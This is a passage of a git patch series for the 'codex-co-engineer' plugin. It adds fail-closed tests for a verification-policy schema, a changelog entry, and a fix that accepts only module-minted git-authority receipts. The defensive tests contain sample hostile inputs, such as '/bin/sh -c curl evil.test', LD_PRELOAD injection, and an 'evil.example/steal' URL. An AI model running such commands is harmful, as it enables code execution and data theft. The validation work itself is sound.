+ assert.equal(snapshot.timeout_ms, DEFAULT_TIMEOUT_MS); + assert.deepEqual(snapshot.resources, DEFAULT_RESOURCES_RECEIPT); + assert.deepEqual(snapshot.parameters, {}); + + const explicitDeny = parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'deny' }, + environment: {}, + mutation: { persistent: false }, + resources: {}, + })); + assert.equal( + canonicalVerificationPolicyJsonV1(validPolicy()), + canonicalVerificationPolicyJsonV1(validPolicy({ + commands: [validCommand({ network: { mode: 'deny' } })], + })), + ); + assert.deepEqual(explicitDeny.network, snapshot.network); + assert.deepEqual(explicitDeny.environment, snapshot.environment); + assert.deepEqual(explicitDeny.mutation, snapshot.mutation); + assert.deepEqual(explicitDeny.resources, snapshot.resources); +}); + +test('argv placeholders bind exactly once to declared parameter domains', () => { + const snapshot = parseVerificationCommandDescriptorV1(validParameterizedCommand()); + assert.deepEqual(snapshot.argv_template, ['test', '--', '{file}']); + assert.equal(snapshot.parameters.file.type, 'path_segment'); + assert.equal(snapshot.parameters.file.max_bytes, 64); + + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '{file}'], + }))).code, + 'placeholder_unbound', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validParameterizedCommand({ + argv_template: ['test', '{file}', '{file}'], + }))).code, + 'duplicate_parameter', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '--out={file}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '{FILE}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validParameterizedCommand({ + argv_template: ['test', '{}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: [], + }))).code, + 'out_of_range', + ); +}); + +test('parameter domain edge cases stay closed', () => { + assert.doesNotThrow(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['run', '{count}', '{ok}', '{mode}'], + parameters: { + count: { type: 'integer', min: 0, max: 8 }, + ok: { type: 'boolean' }, + mode: { type: 'enum', values: ['ci', 'local'] }, + }, + }))); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'string' } }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: 8, max: 1 } }, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: 0.5, max: 2 } }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: Number.NaN, max: 2 } }, + }))).code, + 'invalid_json_value', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'enum', values: ['a', 'a'] } }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { 'File': { type: 'boolean' } }, + }))).code, + 'invalid_format', + ); +}); + +test('duplicate and ambiguous command IDs fail closed', () => { + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand(), validCommand()], + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'unit\u2010tests' })], + }))).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'unit\u0301-tests' })], + }))).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'Unit-Tests' })], + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'unit\u0442ests' })], + }))).code, + 'ambiguous_id_denied', + ); +}); + +test('env, network, mutation, and resource constraints stay owner-authored and bounded', () => { + const granted = parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['ci.example.test', 'cache.example.test'] }, + environment: { entries: [{ name: 'CI', value: '1' }, { name: 'NODE_ENV', value: 'test' }] }, + mutation: { persistent: false, workspace: 'ephemeral' }, + timeout_ms: 120_000, + resources: { max_output_bytes: 4096, max_error_bytes: 1024 }, + })); + assert.deepEqual(granted.network.hosts, ['cache.example.test', 'ci.example.test']); + assert.equal(granted.environment.entries[0].name, 'CI'); + assert.equal(granted.timeout_ms, 120_000); + assert.equal(granted.resources.max_output_bytes, 4096); + + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'PATH', value: '/bin' }] }, + }))).code, + 'env_name_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'LD_PRELOAD', value: 'x' }] }, + }))).code, + 'env_name_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'CI', value: '1' }, { name: 'CI', value: '2' }] }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['https://example.test'] }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['example.test', 'example.test'] }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + mutation: { persistent: true }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + timeout_ms: 0, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + resources: { max_output_bytes: 0 }, + }))).code, + 'out_of_range', + ); +}); + +test('untrusted references accept command id and typed parameters only', () => { + const snapshot = parseUntrustedCommandReferenceV1({ + command_id: 'unit-tests', + parameters: { file: 'spec.js', count: 1, retry: false }, + }); + assert.equal(snapshot.command_id, 'unit-tests'); + assert.equal(snapshot.parameters.file, 'spec.js'); + assert.equal(snapshot.parameters.count, 1); + assert.equal(snapshot.parameters.retry, false); + assert.equal(Object.isFrozen(snapshot), true); +}); + +test('profile, manifest, and provider executable-content injections are rejected', () => { + const cases = [ + [{ command_id: 'unit-tests', executable: '/usr/bin/npm' }, 'executable_content_denied'], + [{ command_id: 'unit-tests', argv: ['test'] }, 'executable_content_denied'], + [{ command_id: 'unit-tests', argv_template: ['test'] }, 'executable_content_denied'], + [{ command_id: 'unit-tests', shell: true }, 'executable_content_denied'], + [{ command_id: 'unit-tests', script: 'npm test' }, 'executable_content_denied'], + [{ command_id: 'unit-tests', env: { CI: '1' } }, 'executable_content_denied'], + [{ command_id: 'unit-tests', environment: { entries: [] } }, 'executable_content_denied'], + [{ command_id: 'unit-tests', network: { mode: 'allowlist' } }, 'network_content_denied'], + [{ command_id: 'unit-tests', hosts: ['evil.test'] }, 'network_content_denied'], + [{ command_id: 'unit-tests', mutation: { persistent: true } }, 'mutation_permission_denied'], + [{ command_id: 'unit-tests', timeout_ms: 1000 }, 'resource_limit_denied'], + [{ command_id: 'unit-tests', resources: { max_output_bytes: 10 } }, 'resource_limit_denied'], + [{ command_id: 'unit-tests', working_directory: '/tmp' }, 'executable_content_denied'], + [{ command_id: 'unit-tests', command: 'npm test' }, 'executable_content_denied'], + ]; + for (const [input, code] of cases) { + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(input)).code, code); + assert.equal(errorOf(() => rejectUntrustedExecutableContentV1(input)).code, code); + } + + const profile = { + schema: 'codex-co-engineer.profile.v1', + provider: 'dsh', + verification_policy: validPolicy(), + }; + assert.equal(errorOf(() => rejectUntrustedExecutableContentV1(profile)).code, 'executable_content_denied'); + + const manifestAcceptance = { + command_id: 'unit-tests', + parameters: { file: 'a.js' }, + timeout_ms: 600_000, + }; + assert.equal( + errorOf(() => parseUntrustedCommandReferenceV1(manifestAcceptance)).code, + 'resource_limit_denied', + ); + + const providerReport = { + command_id: 'unit-tests', + argv: ['/bin/sh', '-c', 'curl evil.test'], + env: { LD_PRELOAD: 'x' }, + }; + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(providerReport)).code, 'executable_content_denied'); +}); + +test('caller objects are not mutated or frozen', () => { + const input = validPolicy(); + const snapshot = parseVerificationPolicyV1(input); + assert.equal(Object.isFrozen(input), false); + assert.equal(Object.isFrozen(input.commands), false); + input.commands.push(validParameterizedCommand()); + assert.equal(snapshot.commands.length, 1); + input.schema = 'mutated'; + assert.equal(snapshot.schema, VERIFICATION_POLICY_SCHEMA_ID); +}); + +test('failures are typed and content-free', () => { + const secret = 'sk-attacker-secret-value'; + const error = errorOf(() => parseVerificationPolicyV1(validPolicy({ + [secret]: `/usr/bin/${secret}`, + }))); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(typeof error.code, 'string'); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/usr/bin'), false); + assert.equal(String(error.path).includes(secret), false); + assert.equal(error.message.includes('TypeError'), false); + + const urlError = errorOf(() => parseUntrustedCommandReferenceV1({ + command_id: 'unit-tests', + url: 'https://evil.example/steal', + })); + assert.equal(urlError.message.includes('https://'), false); + assert.equal(urlError.message.includes('evil.example'), false); +}); + +test('the owner loader round-trips a catalog and treats absence as default deny', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + try { + await mkdir(policyDir, { recursive: true }); + const missing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(missing.source.present, false); + assert.equal(missing.policy.commands.length, 0); + assert.equal(missing.digest.label, IDENTITY_LABELS.VERIFICATION_POLICY); + assert.equal(Object.isFrozen(missing), true); + assert.equal(Object.isFrozen(missing.policy), true); + + const file = path.join(policyDir, 'verification-policy.json'); + await writeFile(file, JSON.stringify(validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + }))); + await chmod(ownerConfigDir, 0o700); + await chmod(policyDir, 0o700); + await chmod(file, 0o600); + const loaded = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(loaded.source.present, true); + assert.equal(loaded.policy.commands.length, 2); + assert.equal(loaded.policy.commands[0].command_id, 'file-tests'); + assert.equal(loaded.policy.commands[1].command_id, 'unit-tests'); + assert.equal( + loaded.digest.digest, + verificationPolicyDigestV1(validPolicy({ + commands: [validCommand(), validParameterizedCommand()], + })).digest, + ); + const roots = verificationPolicyRoots({ ownerConfigDir }); + assert.equal(roots.scope, 'owner'); + assert.equal(roots.file, file); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('the module never claims command execution, PATH resolution, or network access', async () => { + const source = await import('node:fs/promises').then((fs) => fs.readFile( + new URL('../mcp/v3/trusted-verification-policy.mjs', import.meta.url), + 'utf8', + )); + assert.match(source, /never invokes a shell/u); + assert.match(source, /never resolves PATH/u); + assert.doesNotMatch(source, /from 'node:child_process'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.equal(source.includes('spawn('), false); + assert.equal(source.includes('execFile('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes('fetch('), false); +}); From 60c266637d246cabc409f619ef26c0e87128f44b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 07:53:24 +0000 Subject: [PATCH 49/81] docs(changelog): record the P16A trusted verification policy Note the additive schema and owner loader, and keep future-work clear that approved-command resolution and execution remain later work. --- CHANGELOG.md | 20 ++++++++++++++++++++ docs/future-work.md | 7 +++++-- 2 files changed, 25 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ef2e910..79820a5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,26 @@ ### Added +- **Trusted VerificationPolicyV1 schema and owner-authored policy loader.** + Adds additive `trusted-verification-policy.mjs` for W14-P16A. The module + owns a versioned immutable command catalog: each stable command ID binds + an owner-authored absolute executable path, a fixed argv template, typed + parameter domains, and explicit network, environment, mutation, timeout, + and output policies. Absent capabilities materialize as exact default-deny + receipts (no network, empty environment, no persistent mutation, bounded + time and output). Canonical identity/digest is framed through the P03 + `verification-policy.v1` / `verification-command-descriptor.v1` labels. + Profiles, manifests, and provider reports may name a command ID and typed + parameters only; executable paths, argv, shell text, environment, network + targets, mutation grants, and resource limits are rejected on that + untrusted surface. Hostile containers fail closed (proxies, accessors, + symbols, exotic prototypes, cycles, bounds, ambiguous IDs) with typed + content-free errors. The owner loader reads + `/codex-co-engineer/verification-policy.json` and never invokes a + shell, resolves PATH, executes a command, opens a network socket, mutates + a candidate, or implements the later approved-command resolver/runner. + Coverage lives in `test/r1-trusted-verification-policy.test.mjs` and + `test/r1-trusted-verification-policy-adversarial.test.mjs`. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable diff --git a/docs/future-work.md b/docs/future-work.md index 9bf116f..34f9d74 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -16,8 +16,11 @@ run submissions, disjoint writers, read-only verification, no post-dispatch fallback or replay, and Codex-only final acceptance. This worktree does not implement the run runtime, candidate composition, -or `AttentionBatchV1`. Gate A remains the functional release authority; -Gate B context-efficiency and Gate C credit economics stay advisory. +or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner +loader exist as data validation only; approved-command resolution and +execution remain later work. Gate A remains the functional release +authority; Gate B context-efficiency and Gate C credit economics stay +advisory. ## Durable, low-token agent completion waits From 8c620cbe4b53f25ee4be036b6bcbaa9921d863c4 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 08:09:38 +0000 Subject: [PATCH 50/81] fix(authority): require trusted receipts for evidence projection Accept only module-minted GitAuthorityPolicyV1 receipts with exact schema, identity, and provenance. Reject forged, cloned, and provider-shaped objects before any P13 fact is created. Validate bounded run, assignment, and base identifiers, fail closed on hostile contexts, and keep unknown-key failures content-free. --- .../mcp/v3/git-authority.mjs | 215 ++++++++++----- .../r1-git-authority-adversarial.test.mjs | 257 ++++++++++++++++++ 2 files changed, 397 insertions(+), 75 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs index c4987ae..4826ed8 100644 --- a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs +++ b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs @@ -24,7 +24,6 @@ import { capturedFreeze, capturedIncludes, capturedTest, isKnownProvider } from import { canonicalJsonStringify } from './identity.mjs'; import { RunContractV1Error, - assertAllowedKeys, assertBaseSha, assertRepositoryPath, assertRunId, @@ -121,6 +120,7 @@ export const RECEIPT_KEYS = capturedFreeze([ 'message', 'operation', 'path', 'ref_class', 'run_id', 'schema', 'verdict', 'version', ]); +export const RECEIPT_REQUIRED_KEYS = RECEIPT_KEYS; export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ 'accessor_property_denied', 'aliased_reference_denied', @@ -145,6 +145,10 @@ const SET_CTOR = Set; const HASH = createHash; const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const WEAKSET_CTOR = WeakSet; +const TRUSTED_POLICY_RECEIPTS = new WEAKSET_CTOR(); +const WEAKSET_ADD = WEAKSET_CTOR.prototype.add; +const WEAKSET_HAS = WEAKSET_CTOR.prototype.has; const DENIED_OPERATION_CODES = capturedFreeze({ create_pr: 'merge_authority_denied', @@ -211,34 +215,56 @@ function deny(code, path) { fail(code, path, MSG[code] ?? MSG.invalid_format); } +function publicCode(error) { + if (error instanceof RunContractV1Error && capturedIncludes(GIT_AUTHORITY_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, path) { + deny(publicCode(error), path); +} + function assertClosedObject(input, allowed, path) { if (input === undefined || input === null) deny('invalid_type', path); - assertDirectJsonClosure(input, path); - assertPlainObject(input, 'invalid_type', path, path); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, path); } catch (error) { remap(error, path); } + } + if (typeof input !== 'object') deny('invalid_type', path); + try { + assertPlainObject(input, 'invalid_type', path, path); + } catch (error) { remap(error, path); } let keys; try { keys = OWN_KEYS(input); } catch { deny('invalid_type', path); } if (keys.length > MAX_AUTHORITY_OBJECT_KEYS) deny('out_of_range', path); + const allowedSet = new SET_CTOR(allowed); for (let i = 0; i < keys.length; i += 1) { const key = keys[i]; if (typeof key === 'symbol') deny('symbol_key_denied', path); if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUTHORITY_KEY_BYTES) deny('out_of_range', path); + if (!allowedSet.has(key)) deny('unknown_key', path); } - assertAllowedKeys(input, allowed, path); + try { + assertDirectJsonClosure(input, path); + } catch (error) { remap(error, path); } return input; } function requireKeys(input, keys, path) { for (let i = 0; i < keys.length; i += 1) { - if (!hasOwn(input, keys[i])) deny('missing_key', `${path}.${keys[i]}`); + if (!hasOwn(input, keys[i])) deny('missing_key', path); } } function assertExact(value, expected, path) { if (IS_ARRAY(expected)) { - assertNotProxy(value, path); + try { assertNotProxy(value, path); } catch (error) { remap(error, path); } if (!IS_ARRAY(value) || value.length !== expected.length) deny('invalid_format', path); for (let i = 0; i < expected.length; i += 1) { - if (ownDataValue(value, STRING(i), `${path}[${i}]`) !== expected[i]) deny('invalid_format', path); + let item; + try { item = ownDataValue(value, STRING(i), path); } catch (error) { remap(error, path); } + if (item !== expected[i]) deny('invalid_format', path); } return; } @@ -277,10 +303,7 @@ function assertAsciiSegment(value, path) { } function bindOrThrow(label, path, fn) { - try { return fn(); } catch (error) { - if (error instanceof RunContractV1Error) deny(label, path); - throw error; - } + try { return fn(); } catch { deny(label, path); } } function optionalSegment(input, key, path) { @@ -533,7 +556,7 @@ function classifyRefFromOperation(object, identity) { } function receipt(values) { - return freezeRecord(RECEIPT_KEYS, { + const minted = freezeRecord(RECEIPT_KEYS, { schema: GIT_AUTHORITY_SCHEMA_ID, version: GIT_AUTHORITY_VERSION, message: MSG[values.code] ?? MSG.invalid_format, @@ -541,6 +564,64 @@ function receipt(values) { default_branch_target: false, ...values, }); + WEAKSET_ADD.call(TRUSTED_POLICY_RECEIPTS, minted); + return minted; +} + +function assertReceiptIdentity(object, path) { + const runId = optOwn(object, 'run_id'); + bindOrThrow('authority_identity_invalid', path, () => assertRunId(runId, path)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('authority_identity_invalid', path); + const baseSha = optOwn(object, 'base_sha'); + bindOrThrow('authority_identity_invalid', path, () => assertBaseSha(baseSha, path)); + return { runId, assignmentId, baseSha }; +} + +function assertTrustedPolicyReceipt(verdict, path) { + const object = assertClosedObject(verdict, RECEIPT_KEYS, path); + requireKeys(object, RECEIPT_REQUIRED_KEYS, path); + if (optOwn(object, 'schema') !== GIT_AUTHORITY_SCHEMA_ID) deny('invalid_format', path); + if (optOwn(object, 'version') !== GIT_AUTHORITY_VERSION) deny('invalid_format', path); + const actor = optOwn(object, 'actor'); + if (!capturedIncludes(ACTOR_VALUES, actor)) deny('invalid_format', path); + const operation = optOwn(object, 'operation'); + if (!capturedIncludes(GIT_OPERATIONS, operation)) deny('invalid_format', path); + const verdictValue = optOwn(object, 'verdict'); + if (!capturedIncludes(AUTHORITY_VERDICTS, verdictValue)) deny('invalid_format', path); + const code = optOwn(object, 'code'); + if (typeof code !== 'string' || !hasOwn(MSG, code)) deny('invalid_format', path); + if (optOwn(object, 'message') !== MSG[code]) deny('invalid_format', path); + const refClass = optOwn(object, 'ref_class'); + if (refClass !== null && !capturedIncludes(REF_CLASS_VALUES, refClass)) deny('invalid_format', path); + const defaultTarget = optOwn(object, 'default_branch_target'); + if (typeof defaultTarget !== 'boolean') deny('invalid_type', path); + const receiptPath = optOwn(object, 'path'); + if (typeof receiptPath !== 'string' || BYTE_LENGTH(receiptPath, 'utf8') > MAX_AUTHORITY_KEY_BYTES) { + deny('invalid_format', path); + } + const identity = assertReceiptIdentity(object, path); + let trusted = false; + try { trusted = WEAKSET_HAS.call(TRUSTED_POLICY_RECEIPTS, object); } catch { deny('invalid_type', path); } + if (trusted !== true) deny('invalid_type', path); + return { + actor, operation, verdict: verdictValue, code, ref_class: refClass, ...identity, + }; +} + +function assertEvidenceContext(context, path) { + const object = assertClosedObject(context, EVIDENCE_CONTEXT_ALLOWED_KEYS, path); + const factId = hasOwn(object, 'fact_id') ? optOwn(object, 'fact_id') : 'f-authority'; + const discrepancyId = hasOwn(object, 'discrepancy_id') ? optOwn(object, 'discrepancy_id') : 'd-authority'; + const sequence = hasOwn(object, 'sequence') ? optOwn(object, 'sequence') : 0; + if (typeof factId !== 'string' || !capturedTest(RECORD_ID_PATTERN, factId)) deny('invalid_format', path); + if (typeof discrepancyId !== 'string' || !capturedTest(RECORD_ID_PATTERN, discrepancyId)) { + deny('invalid_format', path); + } + if (typeof sequence !== 'number' || !IS_INT(sequence) || sequence < 0 || sequence > 65535) { + deny('out_of_range', path); + } + return { factId, discrepancyId, sequence }; } export function classifyGitOperationV1(input) { @@ -629,70 +710,54 @@ function evidenceMethod(code) { export function projectAuthorityEvidenceV1(verdict, context = {}) { const path = 'evidence'; - if (verdict === undefined || verdict === null) deny('invalid_type', path); - assertDirectJsonClosure(verdict, path); - assertPlainObject(verdict, 'invalid_type', path, path); - assertAllowedKeys(verdict, RECEIPT_KEYS, path); - const ctx = context === undefined ? {} : context; - if (ctx !== undefined && ctx !== null && typeof ctx === 'object') { - assertClosedObject(ctx, EVIDENCE_CONTEXT_ALLOWED_KEYS, `${path}.context`); - } - const factId = hasOwn(ctx, 'fact_id') ? optOwn(ctx, 'fact_id') : 'f-authority'; - const discrepancyId = hasOwn(ctx, 'discrepancy_id') ? optOwn(ctx, 'discrepancy_id') : 'd-authority'; - const sequence = hasOwn(ctx, 'sequence') ? optOwn(ctx, 'sequence') : 0; - if (typeof factId !== 'string' || !capturedTest(RECORD_ID_PATTERN, factId)) deny('invalid_format', `${path}.fact_id`); - if (typeof discrepancyId !== 'string' || !capturedTest(RECORD_ID_PATTERN, discrepancyId)) { - deny('invalid_format', `${path}.discrepancy_id`); - } - if (typeof sequence !== 'number' || !IS_INT(sequence) || sequence < 0 || sequence > 65535) { - deny('out_of_range', `${path}.sequence`); + try { + const receipt = assertTrustedPolicyReceipt(verdict, path); + const { factId, discrepancyId, sequence } = assertEvidenceContext(context, `${path}.context`); + const denied = receipt.verdict === 'denied'; + const payload = { base_sha: receipt.baseSha, head_sha: receipt.baseSha }; + const fact = freezeData({ + fact_id: factId, + fact_kind: 'git_identity', + status: denied ? 'failed' : 'verified', + code: 'host_observed', + run_id: receipt.runId, + assignment_id: receipt.assignmentId, + sequence, + subject: 'git-authority', + authority: 'platform_git', + method: evidenceMethod(receipt.code), + input_digest: digestOf({ + actor: receipt.actor, operation: receipt.operation, ref_class: receipt.ref_class, + }), + output_digest: digestOf({ verdict: receipt.verdict, code: receipt.code }), + exit_code: denied ? 1 : 0, + duration_ms: 0, + truncated: false, + payload, + artifact_digests: [], + }); + const discrepancy = denied ? freezeData({ + discrepancy_id: discrepancyId, + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: receipt.runId, + assignment_id: receipt.assignmentId, + sequence, + claim_ids: [], + fact_ids: [factId], + artifact_digests: [], + }) : null; + return freezeData({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + facts: [fact], + discrepancies: discrepancy === null ? [] : [discrepancy], + }); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + deny('invalid_type', path); } - const denied = optOwn(verdict, 'verdict') === 'denied'; - const code = optOwn(verdict, 'code'); - const runId = optOwn(verdict, 'run_id'); - const assignmentId = optOwn(verdict, 'assignment_id'); - const baseSha = optOwn(verdict, 'base_sha'); - const payload = { base_sha: baseSha, head_sha: baseSha }; - const fact = freezeData({ - fact_id: factId, - fact_kind: 'git_identity', - status: denied ? 'failed' : 'verified', - code: 'host_observed', - run_id: runId, - assignment_id: assignmentId, - sequence, - subject: 'git-authority', - authority: 'platform_git', - method: evidenceMethod(typeof code === 'string' ? code : 'authority_ok'), - input_digest: digestOf({ - actor: optOwn(verdict, 'actor'), operation: optOwn(verdict, 'operation'), - ref_class: optOwn(verdict, 'ref_class'), - }), - output_digest: digestOf({ verdict: optOwn(verdict, 'verdict'), code }), - exit_code: denied ? 1 : 0, - duration_ms: 0, - truncated: false, - payload, - artifact_digests: [], - }); - const discrepancy = denied ? freezeData({ - discrepancy_id: discrepancyId, - discrepancy_kind: 'security', - status: 'recorded', - code: 'security_boundary', - run_id: runId, - assignment_id: assignmentId, - sequence, - claim_ids: [], - fact_ids: [factId], - artifact_digests: [], - }) : null; - return freezeData({ - schema: GIT_AUTHORITY_SCHEMA_ID, - version: GIT_AUTHORITY_VERSION, - facts: [fact], - discrepancies: discrepancy === null ? [] : [discrepancy], - }); } capturedFreeze(parseGitAuthorityPolicyV1); diff --git a/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs index b5d6e66..c60661b 100644 --- a/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs @@ -3,6 +3,8 @@ import test from 'node:test'; import { types as utilTypes } from 'node:util'; import { + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, MAX_HISTORY_COMMITS, MAX_REF_BYTES, bindAuthorityIdentityV1, @@ -16,6 +18,7 @@ import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; import { ASSIGNMENT_ID, + BASE_SHA, CONTENT_FREE, MANIFEST_DIGEST_HEX, RUN_ID, @@ -97,6 +100,260 @@ test('proxy accessor symbol and unknown-key inputs fail closed without running c assert.equal(errorOf(() => classifyGitOperationV1(unknown)).code, 'unknown_key'); }); +function assertPublicFailure(error, extras = []) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(utilTypes.isProxy(error), false); + assertContentFree(error, extras); + assertContentFree(error.path, extras); + assertContentFree(error.message, extras); + assert.equal(String(error.path).includes('TypeError'), false); + assert.equal(String(error.message).includes('TypeError'), false); +} + +function assertRejectedEvidence(action, extras = []) { + const error = errorOf(action); + assertPublicFailure(error, extras); + return error; +} + +function trustedReceipt(overrides = {}) { + return classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [1] }, + ...overrides, + })); +} + +function receiptLookalike(overrides = {}) { + return { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'worker', + operation: 'commit_on_lane_branch', + verdict: 'allowed', + code: 'authority_ok', + message: 'GitAuthorityPolicyV1 permits the requested git operation.', + path: 'operation', + ref_class: 'worker_lane', + default_branch_target: false, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + ...overrides, + }; +} + +test('forged missing wrong-schema wrong-identity and untrusted receipts cannot mint Git facts', () => { + const minted = trustedReceipt(); + const cases = [ + [{}, ['forged empty']], + [receiptLookalike(), ['caller constructed']], + [Object.freeze(receiptLookalike()), ['frozen constructed']], + [JSON.parse(JSON.stringify(minted)), ['json clone']], + [{ ...minted }, ['spread clone']], + [Object.freeze({ ...minted }), ['frozen clone']], + [receiptLookalike({ schema: 'codex-co-engineer.provider-result.v1' }), ['wrong schema']], + [receiptLookalike({ schema: GIT_AUTHORITY_SCHEMA_ID, version: 2 }), ['wrong version']], + ]; + for (const [forged] of cases) { + const error = assertRejectedEvidence(() => projectAuthorityEvidenceV1(forged)); + assert.notEqual(error.code, 'authority_ok'); + } + + const missing = receiptLookalike(); + delete missing.schema; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(missing)).code, 'missing_key'); + + const wrongIdentity = [ + { run_id: 'https://evil.example/steal?token=secret' }, + { assignment_id: '../main' }, + { base_sha: 'not-a-sha' }, + { run_id: `run-${'a'.repeat(1_000_000)}` }, + { assignment_id: `lane-${'\u0000'.repeat(32)}` }, + { base_sha: `${'a'.repeat(1_000_000)}` }, + { run_id: 'run-\u0430lpha-01' }, + { assignment_id: 'lane/alpha' }, + { base_sha: 'A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0' }, + ]; + for (const override of wrongIdentity) { + const extras = Object.values(override).filter((value) => typeof value === 'string' && value.length < 200); + const error = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(receiptLookalike(override)), + extras, + ); + assert.equal(error.code, 'authority_identity_invalid'); + } +}); + +test('provider report lookalikes and frozen caller receipts never become platform_git authority', () => { + const minted = trustedReceipt(); + const providerLookalikes = [ + { + schema: 'codex-co-engineer.provider-result.v1', + provider: 'grok', + model: 'grok-4', + status: 'succeeded', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + verdict: 'allowed', + code: 'authority_ok', 